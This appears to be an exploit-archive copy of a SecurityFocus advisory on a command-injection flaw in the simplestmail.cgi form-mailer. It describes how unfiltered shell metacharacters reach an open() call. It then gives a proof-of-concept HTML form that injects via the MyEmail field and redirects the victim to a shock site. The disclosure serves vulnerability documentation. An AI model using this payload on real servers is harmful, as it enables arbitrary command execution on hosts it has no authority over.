13 lines
No EOL
712 B
HTML
13 lines
No EOL
712 B
HTML
source: http://www.securityfocus.com/bid/2102/info
|
|
|
|
A vulnerabiliy exists in Leif M. Wright's simplestmail.cgi, a script designed to coordinate email responses from web forms.
|
|
|
|
An insecurely-structured call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privilege of the webserver.
|
|
|
|
<html>
|
|
<form action="http://someplace/cgi-bin/simplestmail.cgi" method=POST>
|
|
Command: <input type=text name=MyEmail value=";">
|
|
<input type=hidden name=redirect value="http://goatse.cx">
|
|
<input type=submit name=submit value="run">
|
|
</form>
|
|
</html> |